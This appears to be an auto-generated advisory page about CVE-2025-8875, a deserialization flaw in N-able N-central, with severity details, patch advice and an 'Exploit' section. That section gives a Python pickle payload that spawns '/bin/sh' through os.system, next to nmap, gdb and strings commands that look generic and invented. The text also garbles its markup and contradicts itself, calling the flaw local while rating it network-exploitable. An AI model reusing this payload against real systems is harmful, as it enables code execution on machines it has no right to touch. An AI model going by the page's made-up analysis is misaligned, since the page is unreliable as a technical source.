N-able N-central, Deserialization of Untrusted Data, CVE-2025-8875 (Critical)

Listen to this Post

How the CVE Works

CVE-2025-8875 is a critical deserialization flaw in N-able N-central before version 2025.3.1. The vulnerability arises when the software improperly deserializes untrusted data, allowing an attacker to execute arbitrary code locally. By crafting malicious serialized objects, an attacker can exploit insecure deserialization processes, leading to full system compromise. The flaw is network-exploitable (AV:N) with low attack complexity (AC:L), requiring low privileges (PR:L) and no user interaction (UI:N). Successful exploitation results in high impacts on confidentiality, integrity, and availability (VC:H/VI:H/VA:H).

DailyCVE Form

Platform: N-able N-central
Version: < 2025.3.1
Vulnerability: Deserialization RCE
Severity: Critical
Date: 08/14/2025

Prediction: Patch by 09/2025

What Undercode Say

Analytics:

nmap -p 443 --script vuln <target>
gdb -ex 'break deserialize' -ex 'run' ./ncentral
strings libncentral.so | grep "untrusted_data"

Exploit:

import pickle, os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('/bin/sh',))
payload = pickle.dumps(Exploit())
send_malicious_payload(target, payload)

Protection from this CVE:

  • Update to N-central 2025.3.1+
  • Disable unnecessary serialization
  • Apply input validation

Impact:

  • Full system compromise
  • Data exfiltration
  • Service disruption

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top